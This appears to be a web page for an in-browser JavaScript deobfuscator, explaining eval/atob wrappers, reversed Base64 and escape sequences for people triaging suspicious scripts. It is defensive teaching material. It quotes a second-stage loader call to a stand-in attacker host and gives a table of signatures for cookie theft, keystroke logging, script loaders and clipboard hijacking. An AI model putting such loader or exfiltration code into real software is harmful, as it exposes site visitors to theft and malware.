πŸ•΅οΈ

JavaScript DeObfuscator

βœ“ Free & no signup πŸ”’ Runs 100% in your browser Updated 2026-11-25 Website Management Tools

You find a suspicious script somewhere: an email attachment renamed to look harmless, a pasted snippet from a shady forum, a chunk of code injected into a website you maintain. The first rule of analyzing anything untrusted is simple and absolute: do not run it. This tool lets you peek inside one of the most common wrapper patterns without executing a single line. It unwraps payloads hidden behind eval wrappers, decodes strings that were Base64-encoded and sometimes reversed, expands escape sequences, and shows you what the code actually does before you decide what to do with it.

The tool handles the classic pattern that turns up constantly in low-effort malware, spam scripts, and obfuscated browser extensions: a call to eval wrapped around atob, sometimes with the string reversed first, sometimes with escape sequences like \x41 or \u0041 packed inside. Paste the snippet, and the tool attempts to peel the layers in your browser, locally, with nothing uploaded anywhere. If the pattern does not match anything it recognizes, it says so plainly instead of pretending to succeed.

One thing must be clear before you read further: deobfuscation is best-effort. Modern obfuscators such as javascript-obfuscator with string array rotation, control-flow flattening, and self-defending code are far more complex than a single eval wrapper, and this tool will not fully unpack those. Treat it as a fast first look, not a complete forensic analysis.

Why Scripts Get Wrapped in eval and atob in the First Place

Obfuscation serves two very different audiences. Developers who ship commercial JavaScript sometimes want to slow down casual copying, so they minify and mangle variable names. Malicious actors have a different goal: they want to hide what the code does from scanners, reviewers, and antivirus heuristics long enough to execute. The eval-plus-atob wrapper is the cheapest trick in that second category, which is exactly why it is so widespread.

The mechanics are easy to describe. atob is the browser function that decodes Base64 text into a plain string. eval takes a string and executes it as code. Put them together, eval(atob("YWxlcnQoMSk=")), and the visible code is gibberish while the real payload hides in the encoded string. In that example, the Base64 decodes to the string alert(1), which eval would then run. An extra layer of reversal is common: the author encodes the payload, reverses the characters, and the visible code contains something like eval(atob("KDEpdHJlaGE=").split("").reverse().join("")). The split-reverse-join chain restores the original order before decoding.

Defensive scanners often flag eval on sight, but attackers slip past naive string matching with variations: indirect eval through window["ev"+"al"], constructor calls like []["flat"]["constructor"], or document.write instead of eval. This tool focuses on the direct patterns it can verify safely, and it never executes your input to try more aggressive tricks, because executing untrusted code is precisely the mistake that gets analysts infected.

How to Use This Tool (Step by Step)

  1. Copy the suspicious snippet exactly as you found it, including any wrapper. Do not beautify or edit it first; the tool matches on the original structure.
  2. Paste it into the input box. Nothing is transmitted; all parsing and decoding happen in your browser.
  3. Read the result panel. If a known pattern matched, you will see the decoded payload, with escape sequences expanded and any reversal undone.
  4. If the tool reports that the pattern is not recognized, that is an honest answer, not a failure to retry. It means no eval-plus-atob structure was detected, and the script may use a more advanced technique.
  5. Decide what to do with the knowledge. A payload that builds a URL and redirects the visitor is a malicious redirect. A payload that fetches a second-stage script from an unknown domain is a strong indicator of malware. A payload that just logs a message may be a test or a prank.
  6. Never paste the decoded output back into a browser console or run it as a file. Reading it is analysis; running it is infection.

A Worked Example, Layer by Layer

Suppose the input is the following one-liner, which is modeled on real spam-site injections:

var s = "YWxlcnQoJ3RoaXMgaXMgdGhlIHBheWxvYWQnKTs="; eval(atob(s));

The Base64 string decodes, character by character, into alert('this is the payload');. The tool recognizes the eval and atob pair, decodes the string, and shows you that result. Now a slightly harder one, where the string was reversed before encoding:

eval(atob("O1tkaWVsbyBldGF1cXluYSBzaSB0YWh0".split("").reverse().join("")).slice(0,-1));

Here the tool unwinds the chain in the correct order: first it evaluates the split-reverse-join expression on the encoded text, which restores the original Base64 order, then it decodes the restored string. Each layer is shown separately so you can see exactly which transformation produced which intermediate value. Finally, a payload containing escape sequences:

eval("\x61\x6c\x65\x72\x74\x28\x31\x29");

The bytes \x61, \x6c, \x65, \x72, \x74 spell alert, and \x28 and \x29 are the parentheses. The tool expands every \x and \u escape into readable characters, which is essential because heavy obfuscators encode nearly all strings this way to defeat visual inspection and keyword scanners.

What the Tool Deliberately Does Not Do

  • It never executes your input. Some deobfuscators run the code in a sandboxed iframe and capture what eval produces. That approach is a footgun: sandbox escapes are a real attack category, and untrusted code has no business running on your machine under any pretext.
  • It does not unpack string-array obfuscators. Techniques like javascript-obfuscator's stringArray with rotation put all strings in one array and shuffle access through index arithmetic. Fully unpacking those requires a control-flow-aware interpreter, not a pattern matcher.
  • It does not follow remote loaders. A payload such as fetch("http://evil.example/x.js") is shown to you as text. The tool will not fetch the second stage, both to protect you and to avoid tipping off attackers.
  • It does not guarantee complete output. Partial matches are reported as partial. An honest report that says 2 of 3 layers unwrapped is more useful than a confident-looking garbage result.

Security Analysis: Reading the Payload Like an Analyst

Once decoded, most low-effort payloads fall into a handful of recognizable categories. Learning to spot them turns the tool from a curiosity into a genuine triage instrument.

What the payload containsTypical intentExample signature
A URL assignment plus location or document.writeDrive-by redirect to spam, phishing, or malvertisinglocation.href = "http://..."
A dynamic script tag creationSecond-stage loader; the real malware arrives separatelydocument.createElement("script"); s.src = "..."
Cookie reads and a base64 round tripSession theft or data exfiltrationdocument.cookie, btoa(...)
Key or click listeners on documentForm grabbing, click hijacking, keystroke loggingaddEventListener("keydown", ...)
Cryptocurrency strings or clipboard writesClipboard hijacking to swap wallet addressesnavigator.clipboard.writeText("0x...")

When you find such code in a site you own, the next steps are containment, not curiosity: remove the injected file, rotate any credentials that touched the server, check for modified core files with a known-good diff, and search your logs for the domains that appeared in the payload. Time is a factor because loaders frequently re-infect from a leftover foothold.

If you are analyzing a script from an email or a download, compare notes with the hashes: reputable sandboxes publish SHA-256 hashes for known samples, and a quick hash comparison of your file against those lists is a faster verdict than any manual reading. The deobfuscated payload also gives you search keywords, such as exact domain names or function names, that you can look up in threat reports.

Limitations You Should Assume Up Front

Set expectations honestly. Commercial obfuscation frameworks apply multiple transforms simultaneously: strings split across an encoded array, control flow flattened into a state machine switch, dead code injected as noise, and a self-defending check that breaks the script if it is reformatted. A pattern-based unwrapper touches only the outermost layer of that onion. Expecting full recovery from one paste is unrealistic, and any tool that claims otherwise is overselling.

Encoding is also not proof of malice. Plenty of legitimate code wraps a small snippet in atob to dodge a linting rule or to embed a template compactly. Context matters: the same eval(atob(...)) pattern inside a paid WordPress plugin update is suspicious; inside a decade-old forum widget it may be forgotten cruft. Use the decoded content, not the encoding, to judge intent, and when the stakes are high, escalate to a proper isolated analysis environment with snapshots and no network access.

Tips and Best Practices

  • Triage on a device that holds nothing valuable, or at minimum in a browser profile with no logged-in sessions, before you have even decoded anything.
  • Search the decoded output for domain names and add every unique one to a blocklist note; malicious loaders almost always leave a hostname behind.
  • Keep the original snippet saved somewhere. If you report the incident to a hosting provider or security team, the raw wrapper and the decoded payload together are far more useful than either alone.
  • If the tool reports an unrecognized pattern, do not keep mutating the input hoping for a match. That usually means a genuinely different technique is in play, and manual reading or a dedicated sandbox is the right next step.
  • Remember the asymmetry: you only need to be wrong once, running a payload, to lose the session, the account, or the machine. Reading is always cheaper than recovering.

Frequently Asked Questions

Is it safe to paste malware code into this deobfuscator?
Yes, because the tool never executes your input. It only parses text and decodes strings using static analysis in your browser, and nothing is uploaded to any server. The danger with careless analysis is running the payload, for example by pasting it into a browser console or opening it as an HTML file, which hands the attacker a session on your machine. Pasting text into a tool that only reads it carries none of that risk, provided the tool itself is purely static, as this one is.
Why does the tool say the pattern is not recognized?
It means no eval-plus-atob structure, reversed-string wrapper, or escape-sequence payload was detected in what you pasted. Modern obfuscators use far more complex techniques, such as string arrays with rotating indexes, control-flow flattening, and indirect eval through constructor chains, which a static pattern matcher cannot unpack. The message is deliberate honesty: an unrecognized pattern reported plainly is safer than a tool guessing and producing a misleading partial decode that you might trust.
Can deobfuscated code still be dangerous to read?
Reading plain text is safe; the risk starts at execution. After decoding, do not paste the result into a console, save it as a .js file and open it, or render it in a page. Also avoid clicking any URLs that appear in the payload, since attackers plant tracking links that confirm a live victim when visited. Copy domains out as text for searching instead. Treat the decoded output the way you would treat a written description of a trap: informative to read, harmful to touch.
What does eval(atob()) actually do in plain terms?
atob decodes a Base64 string into readable text, and eval executes that text as JavaScript. So eval(atob("YWxlcnQoMSk=")) first turns the encoded string into alert(1), then runs it. Authors use this so the visible code contains no obvious keywords that scanners flag, hiding the real behavior inside encoding. A common extra step reverses the string characters before decoding, using split(""), reverse(), and join(""), which defeats naive pattern matching but is easy to undo once you notice it.
Does this deobfuscator handle obfuscator.io-style scripts?
Not fully, and you should expect that from any quick online tool. The popular javascript-obfuscator framework layers string-array encoding with index rotation, control-flow flattening into state machines, dead-code injection, and self-defending checks that break the script when beautified. Unwrapping those requires executing parts of the code in a sandbox or running a control-flow-aware decompiler, both of which are heavyweight and risky for untrusted input. This tool deliberately stays static: it unwraps simple wrappers honestly and tells you when the job exceeds that scope.
How can I tell if a decoded payload is actually malicious?
Look for concrete indicators rather than gut feeling. Red flags include a redirect assignment like location.href pointing to an unrelated domain, dynamic script tags loading remote code, reads of document.cookie followed by an outbound request, clipboard writes that replace copied text, and any fetch of a second-stage script from a freshly registered or lookalike domain. Cross-check the domain names against threat-intelligence sites. Also remember encoding alone is not proof of malice, since some legitimate code wraps snippets in atob for bundling reasons.

Related Tools